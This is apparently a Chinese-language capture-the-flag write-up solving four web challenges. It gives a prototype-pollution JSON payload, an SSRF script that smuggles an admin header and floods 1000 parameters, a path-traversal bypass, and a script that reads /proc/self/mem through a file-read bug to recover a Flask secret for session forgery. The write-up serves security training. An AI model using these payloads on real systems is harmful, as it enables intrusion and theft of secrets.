wife_wife
进来啥也没有,只有一个特殊点,is_admin,但是直接改成true进去也不是admin,看wp才知道这里竟然是要打一个黑盒的原型链污染
有思路就好办了,把数据包丢给ai整一个payload出来
{
"username": "hacker",
"password": "hackerpass",
"__proto__": {
"isAdmin": true
}
}
ez_curl
直接访问后端不通,应该是要打一个ssrf
第一个问题是for循环会做检测,如果headers中admin和true同时出现就不行
先找优先级漏洞,and可以绕过但&&不行
这个时候突然发现后端的逻辑校验只要包含就可以
req.headers.admin.includes('true'))
搭个环境测试一下,第二个比较好绕,加个#就行
但是这里到后面一直没打通,回来测试一下才发现
php的http_build_query函数将#进行了url编码形成了%23,编码之后则会失效
在这里也是想到一个有意思的出题思路,后端将参数拼接一个特定参数字符串,并在参数解析时检测该字符串是否存在,不存在则给出访问地址给出flag,存在则退出,前端可以输入地址,并将地址url编码后发给后端,然后可以抓包把url编码后的#改回来,通过标识定位符把后端添加的参数忽略掉
回到题目,这里其实是两个考点
第一个,PHP 的stripos()方法
只匹配 当前字符串,也就是说,我们只要在admin前面加上\n进行换行,他就检测不到了
第二个,express默认接收一千个参数,多余的会被丢弃
import requests
import json
url="http://61.147.171.35:62967/"
data={"headers":["aa:aa\nadmin:true","Content-Type:application/json"],
"params":{"admin":"true"}}
for i in range(1000):
data["params"][i]=str(i)
data=json.dumps(data)
res=requests.post(url,data=data)
print(res.text)
ezbypass-cat
进来一个登录框,密码经过md5加密后发送,但似乎存在sql注入
admin存在,其他用户不存在
翻翻js
搜着搜着突然找到了出题人
这里有一个非预期解,就是flag.html可以扫到,但是直接访问会被重定向,可以访问/login.html/../flag.html来绕过,但这个flag是个假flag
预期解同样是通过login.html做接口跳转,难怪直接访问接口会进不去
通过/user/getALLlist接口拿到用户名和密码
拿到cookie后就可以直接访问flag了
https://zhuanlan.zhihu.com/p/593376086
catcat-new
访问/admin会被拒绝并设置cookie,一看admin:0
应该是要做一个session伪造
另外一个功能点可以做任意文件读取
/proc/1/self读环境变量
b'HOSTNAME=3b1b5cf73770\x00PYTHON_PIP_VERSION=21.2.4\x00SHLVL=1\x00HOME=/root\x00OLDPWD=/\x00GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D\x00PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/3cb8888cc2869620f57d5d2da64da38f516078c7/public/get-pip.py\x00PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin\x00LANG=C.UTF-8\x00PYTHON_VERSION=3.7.12\x00PYTHON_SETUPTOOLS_VERSION=57.5.0\x00PWD=/app\x00PYTHON_GET_PIP_SHA256=c518250e91a70d7b20cceb15272209a4ded2a0c263ae5776f129e0d9b5674309\x00'
../app.py读到源码
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"
secret从文件中读不到了,但是它一定在内存里
/proc/self/mem存储当前进程在内存中的数据,但是该文件通常无法直接读取
先调整一下数据格式
# filename: replace_newline.py
# 输入文件
input_file = "1.txt"
# 输出文件
output_file = "2.txt"
with open(input_file, "r", encoding="utf-8") as f:
content = f.read()
# 把文本里的 \n 替换为真正的换行
content = content.replace("\\n", "\n")
with open(output_file, "w", encoding="utf-8") as f:
f.write(content)
print(f"处理完成,结果保存到 {output_file}")
这里ai写代码挺蠢的,简单取出地址发送过去,再将返回值做一个正则匹配即可
import requests
import uuid
import re
from flask import Flask, session, request
# URL 模板
url = "http://61.147.171.103:57071/info?file=../../proc/self/mem&start={start}&end={end}"
# 输入文件路径
input_file = "2.txt"
# 正则表达式:匹配类似 uuid + *abcdefgh 格式的字符串
pattern = re.compile(r'[a-f0-9]{32}\*abcdefgh')
# 读取文件并按行处理
with open(input_file, "r", encoding="utf-8") as f:
for line in f:
# 按空格分割每行数据
parts = line.split()
# 如果权限部分包含 'rw',说明是读写权限
if 'rw' in parts[1]:
# 提取地址范围 (start, end)
start, end = parts[0].split('-')
start = int(start, 16)
end = int(end, 16)
# 构建请求 URL
payload_url = url.format(start=start, end=end)
# 发送 GET 请求
response = requests.get(payload_url)
# 查找匹配的字符串
matches = pattern.findall(response.text)
# 如果找到匹配的数据,打印
if matches:
for match in matches:
print(f"匹配到的字符串:{match}")
拿到密钥后伪造session拿到flag